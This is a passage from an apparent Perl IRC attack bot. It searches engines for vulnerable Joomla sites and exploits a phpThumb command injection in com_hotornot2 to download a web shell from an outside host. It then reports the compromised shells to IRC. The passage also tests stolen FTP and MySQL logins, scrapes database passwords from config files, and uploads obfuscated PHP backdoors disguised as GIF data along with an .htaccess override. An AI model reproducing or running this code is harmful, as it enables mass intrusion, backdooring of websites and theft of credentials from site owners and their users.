  3898.             my $uid = "";
  3899.             if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3900.             if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3901.             if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;}
  3902.             &get_content($bot3); &get_content($box3); sleep(2);
  3903.             &msg("$base","$actlogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3904.             &msg("$nick","$actlogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3905.             &msg("$chan","$actlogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3906.         }
  3907.     }
  3908.             } exit; }
  3909.         }
  3910.     }
  3911. }
  3912.  
  3913. ################################################################################
  3914.  
  3915. sub hornot_exploit() {
  3916.     my $chan = $_[0];
  3917.     my $bug = $_[1];
  3918.     my $dork = $_[2];
  3919.     my $engine = $_[3];
  3920.     my $nick = $_[4];
  3921.     my $count = 0;
  3922.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$horlogo,$nick);
  3923.     my $num = scalar(@totexploit);
  3924.     if ($num > 0){
  3925.         foreach my $site(@totexploit){
  3926.             $count++;
  3927.             if ($count == $num-1) { &msg("$chan","$horlogo15[2@12$engine15]14 Scan finish"); }
  3928.             my $target = "http://".$site.$bug;
  3929.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3930.             my $test = &get_content($target);
  3931.             if ($test =~ /\‰PNG/i) {
  3932.             #&msg("$chan","$horlogo15[2@12$engine15][2@12eXploiting15]3 http://$site 4please wait ...");
  3933.             my $dor = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;wget%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20-O%20myluph.php;&phpThumbDebug=9";
  3934.             my $open = "?src=file.jpg&fltr[]=blur|9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg;lwp-download%20http://bosnapost.com/NUNK/wp-includes/Text/Diff/robots.txt%20;mv%20robots.txt%20myluph.php;&phpThumbDebug=9";
  3935.             my $explo = "http://".$site."components/com_hotornot2/phpThumb/phpThumb.php".$dor;
  3936.             my $openx = "http://".$site."components/com_hotornot2/phpThumb/phpThumb.php".$open;
  3937.             &get_content($explo);
  3938.             &get_content($openx);
  3939.             my $shell = "http://".$site."components/com_hotornot2/phpThumb/myluph.php";
  3940.             my $shell2 = "http://".$site."components/com_hotornot/phpThumb/myluph.php";
  3941.             my $shell3 = "http://".$site."components/com_hotornot2/myluph.php";
  3942.             my $bot = "http://".$site."components/com_hotornot2/phpThumb/metri.php";
  3943.             my $bot2 = "http://".$site."components/com_hotornot/phpThumb/metri.php";
  3944.             my $bot3 = "http://".$site."components/com_hotornot2/metri.php";
  3945.             my $box = "http://".$site."components/com_hotornot2/phpThumb/recky.php";
  3946.             my $box2 = "http://".$site."components/com_hotornot/phpThumb/recky.php";
  3947.             my $box3 = "http://".$site."components/com_hotornot2/recky.php";
  3948.             my $check = &get_content($shell."?thumb");
  3949.             if ($check =~ /bogel - exploit/i){
  3950.             my $safe = "";
  3951.             my $os = "";
  3952.             my $uid = "";
  3953.             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3954.             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3955.             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3956.             &get_content($bot); &get_content($box); sleep(2);
  3957.             &msg("$base","$horlogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3958.             &msg("$nick","$horlogo15[2@12$engine15][2@12SheLL15]3 $shell 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3959.             &msg("$chan","$horlogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3960.             }
  3961.             my $check2 = &get_content($shell2."?thumb");
  3962.             if ($check2 =~ /bogel - exploit/i){
  3963.             my $safe = "";
  3964.             my $os = "";
  3965.             my $uid = "";
  3966.             if ($check2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3967.             if ($check2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3968.             if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
  3969.             &get_content($bot2); &get_content($box2); sleep(2);
  3970.             &msg("$base","$horlogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3971.             &msg("$nick","$horlogo15[2@12$engine15][2@12SheLL15]3 $shell2 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3972.             &msg("$chan","$horlogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3973.             }
  3974.             my $check3 = &get_content($shell3."?thumb");
  3975.             if ($check3 =~ /bogel - exploit/i){
  3976.             my $safe = "";
  3977.             my $os = "";
  3978.             my $uid = "";
  3979.             if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3980.             if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3981.             if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;}
  3982.             &get_content($bot3); &get_content($box3); sleep(2);
  3983.             &msg("$base","$horlogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3984.             &msg("$nick","$horlogo15[2@12$engine15][2@12SheLL15]3 $shell3 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3985.             &msg("$chan","$horlogo15[2@12$engine15][2@12SheLL15]3 Target Sent To 6$nick 15[4 SafeMode 15=4 $safe 15][4 OS 15=4 $os 15] ");
  3986.         }
  3987.     }
  3988.             } exit; }
  3989.         }
  3990.     }
  3991. }
  3992.  
  3993. ##################################################################################
  3994. sub ftp_connect {
  3995.     my $url = $_[0];
  3996.     my $host = $_[1];
  3997.     my $user = $_[2];
  3998.     my $pass = $_[3];
  3999.     my $chan = $_[4];
  4000.     my $engine = $_[5];
  4001.     my $logo = $_[6];
  4002.     my $success = 1;
  4003.     use Net::FTP;
  4004.     my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  4005.         $success = 0 if $ftp->login($user,$pass);
  4006.         $ftp->quit;
  4007.         if ($success == 0) {
  4008.         &msg("$admin","$logo4,1$engine 0,1<=>4,1FTP Accepted 0,1<=>4,1 http://".$host." |0,1 ".$user.":".$pass." ");sleep(2);
  4009.     }
  4010. }
  4011.  
  4012. sub dbi_connect () {
  4013.     my $host = $_[0];
  4014.     my $user = $_[1];
  4015.     my $pass = $_[2];
  4016.     my $dtbs = $_[3];
  4017.     my $chan = $_[4];
  4018.     my $engine = $_[5];
  4019.     my $logo = $_[6];
  4020.     my $port = "3306";
  4021.     my $platform = "mysql";
  4022.     my $dsn = "dbi:$platform:$dtbs:$host:$port";
  4023.     my $DBIconnect=  DBI->connect($dsn,$user,$pass);
  4024.         if ($DBIconnect) {
  4025.         &msg("$chan","$logo4,1$engine 0,1<=>4,1SQL Accepted 0,1<=> 4,1[+]4,1 http://".$host." 0,1[+]4,1username:0,1".$user." 4,1[+]0,1password:0,1".$pass." 4,1[+]0,1dbname:4,1".$dbname."");
  4026.         &msg("$admin","$logo4,1$engine 0,1<=>4,1SQL Accepted 0,1<=> 4,1[+]4,1 http://".$host." 0,1[+]4,1username:0,1".$user." 4,1[+]0,1password:0,1".$pass." 4,1[+]0,1dbname:4,1".$dbname."");
  4027.     }
  4028. }
  4029. sub getUserPass() {
  4030.     my $string = $_[0];
  4031.     my @lol = split("\r\n", $string);
  4032.     my $pass = "";
  4033.     my $user = "";
  4034.     foreach my $line (@lol) {
  4035.         if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  4036.             $pass = $3;
  4037.         }
  4038.         if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  4039.             $user = $3;
  4040.         }
  4041.     }
  4042.     return $user.":Viva-Byroe.Net:".$pass;
  4043. }
  4044.  
  4045. sub getinfo() {
  4046.     my $string = $_[0];
  4047.     my @lol = split("\r\n", $string);
  4048.     my $pass = "";
  4049.     my $user = "";
  4050.     my $dbs = "";
  4051.     foreach my $line (@lol) {
  4052.         if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  4053.             $pass = $3;
  4054.         }
  4055.         if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  4056.             $user = $3;
  4057.         }
  4058.         if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {
  4059.             $dbs = $3;
  4060.         }
  4061.     }
  4062.     return $user.":Viva-Byroe.Net:".$pass.":Viva-Byroe.Net:".$dbs;
  4063. }
  4064. ##################################################################################
  4065. sub jg_magic(){
  4066. my $url = $_[0];
  4067. my $ua = LWP::UserAgent->new;
  4068. $data = "GIF89a";
  4069. $data.= "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  4070. my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
  4071. print $res->as_string();
  4072. }
  4073. sub jg_cps(){
  4074. my $url = $_[0];
  4075. my $ua = LWP::UserAgent->new;
  4076. $data = "GIF89a";
  4077. $data.= "<?php eval(gzinflate(str_rot13(base64_decode('vUx7RuLKEv+fQjHLtSpul4UA7vHg666gIigooCCol5NZhnEgr5MEELa8n/32WQgPBb2xd88oSG6mf/2a7p6ekP4aK7gytfojPIydqdQnKkWm6Ib4xPV5KybiBNJ939lCp53vrnl2JAXEaex4OlOwYSPhQ/da4/hDJ7JtfOhG3yDHIRjhG9kixm46mD5ZB1GKrUGPhYOYuOOZ6AhEi/Y04ouCJ/dWz7RIIiTQ0RGSEujfKCAR7H5f2FQqJaJjqByfua7t7qMFPUPY1m5NORYSBzGP+D2fmqR0Q5P6ogRG/207bz9qHNnzJipg+7ZQLERVEx+ng1YhKbiMF+0j8cucMIF+LRRr+P6EuBJ1H257pE1/+cgF29AKj7k+6CW244wUECO7rjwVgevOyAP3rM1g2+qvWkP4Jh3EJjo1iPilQuy+GOqRiP2KIRg7nu8y7cFq3m/xgC+xwWcHNsco9yOxmPy1a+IcHJupAXzgTnH8ksK+sMKDEzF6LdlxXvZTChAFlEWSwV8Tq9SdsQ1Y67ZW0k93gUEJdmODTmSPxVhNS8cxcsWlpC/ATlUk1lXWSA9O1Osxx8sKuIkLf4XajHGD+7rnjDw9EOwlF/JfGbUJAbYkA2xidl9v274Fzzv027eD2MvGsJznlOIe849Cnn0ZDIQoM7yja1OS4si1J/CYleIshzh9/OHbEzq3VJYKyRtCbGfG44VblVXFEbF8aupOoq3G56MVfx8OJjJj6F60sn2QCC7Bvu1F4q3y+e8TdxLZxTq1NFUrF2REtqtl4SzIKcxQVXupR+rR4kMgIzLW0VxfJHtOyC3C3JF9HU8qHoQUX1sLpWuwA1nPHuglZUCwmQnm5kC3VItMbHdbJJA6srBCoVF6gvEYmIvndqTLlnfwMgOVb048D7Vya/F5Um9fNjwWw1SAccYCjlbhuIBGIrE1JfuhuVwEx8c35Qp0zPIkBdUSmKLVqdQnkqe/b9L7Q66nyndCAFfF0/HNGTMXwi1K3Q3MtwtgcLk3qvtuab55nCWwFRGlZa23r7IR+ProVQhPOuXojrDZOD4gEV4jqIWjoqLQwyHoUA5t0TUbuTLLiyjAidOL7oeJ8/3/A62hIroN3DBlogBHJaqnA1E020gl6v5mKRaU3IgbGh1vmtE2P7C+pxm2IhsRnfAJWyL6jXGkvUIEdJgKJKqKnzApb7Kpsi8rshdWMzUqYF4+okAoZw/PnwvpxZ5hVL5GrRFiETzWyE8n3HCP4W62+aAIBz/ZOTJ1N98lfl8BNpatRyD90eLMbLfxEbbvUAnVCR4ue+AkVH9gwuYzYvvK29l6vXfw9ALt06JGTW3XoNYw7I9+7szbuvAexUrn9ydTsGmFCXXfNEEMUJZqmTnV+l0G7hz87sFVkwJGcXLLILBercMl7p1ySOl9xE5IPpQR3BW39mVmrYPLSACJf9yYOS7RbabscF2Mp8XU18TDf46eHuPs6REarXHAdltnhKkAZaG3ZgwZEzH+Z/QYjyfhfxPqJbb2aHDDtEwngeskfEknbqtXLhzbrhXgHrJCB+9S5VfqGLZTrTnDUmfCOgssn/corNyITya7l5LgLxOGKK8EQPI6LH/uuMSbozlmQZVcE/Tqwg2AeuEQXO0ezmJinqBSD5ik4L6d4ozgpoWaI4wJq1Tzq0SMjHJQccX7j92eV7CtEkSolBpwpX3uKPQkXy42+mpFq9katprtqU1hnTfq95J+ZpepW/e33nLl4nFNegLddvn5bW8P8XZsTT6VtOqgvEqkjVZoY7JbpXx9ZX3K5wYhWteqjTtMf4xYrdFysTFHshldYe9tnCedDLv3lalv/ulIV60ptncSppPnd2QY8mv+kFTzUB5ZJ+2mTDBkNj+Qs/lWt714L+2fDOc0Ad78Mb4qNgx5SHPqUtmr3p44YPNy0TTMy+LZsJNwbQ8vybShSmIl2mCyZnJtnZMuu+3nTLfu7EhXdM83zcqt2q4Nuve1TGzgm53s8xh070BhDfxIaRj9Gs/mnOdgK8/p+zzP3vI81aaXAWkG2Gawdox2bK9fagzlonMULWLYua3my1Mt08nWDJyr0ut5aqCU8rNhRlvyuPXzUs2GOCjMa7x1tn/VlH7r5760e9nJFGfFeWzl88JLzbam3Wld60tQ7a7UkmDPdFdpSnBnv1uXq9bzqDjUxzhK167pybBbyvudtjFvslv34Ddt8gfkkKdxSFQxgNYo6OBYQYtY5zOcgTn6m2h5c7CiOQW+jxdo8ER+qhYLee72QdJAl09dyUgk0EavZXu6ampS0Bt8i626xuJ4zeen9pzHCcRVDfj8M3u+t/eN15HqLbchB/t5Z4sFV5qFbfee5XJ6zH38QviT8k0mKUZJIysTLt95a922dyhz46TL69Bx1Mnm/fKA1cmK0ckaE0mzyknBQ6GeZ1jnC/pBO+9dmaB/k/Odqe3K391pWuL0c63edv8wlG8h2MMM5CLUTbnU0rusLgU6lLCZ924vM7jU0NXS3Z+wSjksFQa4mAnnU2X7h6nMaQHvsDj1oHOCDUPnZS0qm62BTYTni9oI6pzdep+z+jm7hDrP625EG2+gke9CoL5PXTAdo5Ore07uQkn0Ge5OF2UQ22c4NZsXQujGaX0B5tjhhEU7ZSaF4GMKD6V6VNp4R/YjR/DjQAgMbrk12KuTP3lD+In894j6wbF9sHUL5q9C0+F70+PFm0flmMu7TwVq5JO+7W+CGvxVUoXlzx3spT182A8Uh3b+w4Zj8D8=')))); ?> ";
  4078. my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
  4079. print $res->as_string();
  4080. }
  4081.  
  4082. sub jg_ht(){
  4083. my $url = $_[0];
  4084. my $ua = LWP::UserAgent->new;
  4085. $dataku = "PEZpbGVzIH4gIlwuKHBocHxwaHAzfHBocDV8cGhwNHxwaHRtbHxnaWZ8cGhwZ2lmfHBIcCkkIj4NCmRlbnkgZnJvbSBhbGwNCjwvRmlsZXM+DQo8RmlsZXMgbWFnaWMuKj4NCk9yZGVyIEFsbG93LERlbnkNCkFsbG93IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzIHhtbC4qPg0KT3JkZXIgQWxsb3csRGVueQ0KQWxsb3cgZnJvbSBhbGwNCjwvRmlsZXM+";
  4086. $inidataku = base64_decode($dataku);
  4087. $data = "$inidataku";
  4088. my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
  4089. print $res->as_string();
  4090. }
  4091.  
  4092. ##################################################################################
  4093. sub os() {
  4094.     my $url = $_[0];
  4095.     my $chan = $_[1];
  4096.     my $engine = $_[2];
  4097.     my $logo = $_[3];
  4098.     my $nick = $_[4];
  4099.     my @print;
  4100.     my $target = &get_content($url);
  4101.     if ($target =~ /BArNEr/i) {
  4102.     my $safe = ""; my $os = "";
  4103.     if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  4104.     if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  4105.     &msg("$chan","$logo4,1target sent to 0,1$nick 4,1$safe $os");
  4106.     &msg("$nick","$logo4,1$engine 12sHeLL0,1 ".$url." 4,1$safe $os");
  4107. &msg("$inject","$logo4,1$engine 12sHeLL0,1 ".$url." 4,1$safe $os");
  4108.         &msg("$admin","$logo4,1$engine 0,1sHeLL4 ".$url." 4,1$safe $os");
  4109.     }
  4110.     return @print;
  4111. }
  4112. sub os2() {
  4113.     my $url = $_[0];
  4114.     my $chan = $_[1];
  4115.     my $engine = $_[2];
  4116.     my $logo = $_[3];
  4117.     my $nick = $_[4];
  4118.     my @print;
  4119.     my $target = &get_content($url);
  4120.     if ($target =~ /BArNEr/i) {
  4121.     my $safe = ""; my $os = "";
  4122.     if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  4123.     if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  4124.     &msg("$chan","$logo4,1target sent to 0,1$nick 4,1$safe $os");
  4125.     &msg("$nick","$logo4,1$engine 0,1sHeLL4 ".$url." 4,1$safe $os");
  4126. &msg("$inject","$logo4,1$engine 0,1sHeLL4 ".$url." 4,1$safe $os");
  4127.         &msg("$admin","$logo4,1$engine 0,1sHeLL4 ".$url." 4,1$safe $os");
  4128.         &msg("$chanxxx","$logo4,1$engine 0,1sHeLL4 ".$url." 4,1$safe $os");
  4129.     }
  4130.     return @print;
  4131. }
  4132.  
  4133. sub os3() {
  4134.     my $url = $_[0];
  4135.     my $chan = $_[1];
  4136.     my $engine = $_[2];
  4137.     my $logo = $_[3];
  4138.     my $nick = $_[4];
  4139.     my @print;
  4140.     my $target = &get_content($url);
  4141.     if ($target =~ /BArNEr/i) {
  4142.     my $safe = ""; my $os = "";
  4143.     if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  4144.     if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  4145.     &msg("$chan","$logo4,1target sent to 0,1$nick 14$safe $os");
  4146.     &msg("$nick","$logo4,1$engine 0,1sHeLL4,1 ".$url." 0,1$safe $os");
  4147. &msg("$inject","$logo4,1$engine 0,1sHeLL4,1 ".$url." 0,1$safe $os");
  4148.         &msg("$admin","$logo4,1$engine 0,1sHeLL4,1 ".$url." 0,1$safe $os");
  4149.         &msg("$chanxxx","$logo4,1$engine 0,1sHeLL4,1 ".$url." 0,1$safe $os");
  4150.     }
  4151.         return @print;
  4152. }
  4153. ##################################################################################
  4154.  
  4155. sub search_engine() {
  4156.     my (@total,@clean);
  4157.     my $chan = $_[0];
  4158.     my $bug = $_[1];
  4159.     my $dork = $_[2];
  4160.     my $engine = $_[3];
  4161.     my $logo = $_[4];
  4162.     if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
  4163.     if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  4164.     if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  4165.     if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  4166.     if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  4167.     if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  4168.     if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  4169.     if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
  4170.     if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
  4171.     if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  4172.     if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
  4173.     if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  4174.     if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
  4175.     if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
  4176.     if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  4177.     if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
  4178.     if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  4179.     if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
  4180.     if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
  4181.     if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
  4182.     if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  4183.     if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  4184.     if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
  4185.     if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  4186.     if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  4187.     if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
  4188.     if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
  4189.     if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
  4190.     if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  4191.     if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  4192.     if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
  4193.     if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
  4194.     if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  4195.     if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  4196.     if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  4197.     if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
  4198.     if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  4199.     if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
  4200.     if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
  4201.     if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
  4202.     if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
  4203.     if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
  4204.     if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
  4205.     if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
  4206.     if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
  4207.     if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
  4208.     if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
  4209.     if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
  4210.     if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
  4211.     if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
  4212.     if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
  4213.     if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
  4214.     if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
  4215.     if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
  4216.     if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
  4217.     if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
  4218.     if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  4219.     if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  4220.     if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  4221.     if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  4222.     if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  4223.     if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  4224.     if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  4225.     if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  4226.     if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  4227.     if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
  4228.     if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
  4229.     if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
  4230.     if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
  4231.     if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
  4232.     if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
  4233.     if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
  4234.     if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
  4235.     if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
  4236.     if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
  4237.     if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
  4238.     if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
  4239.     if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
  4240.     if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); } 
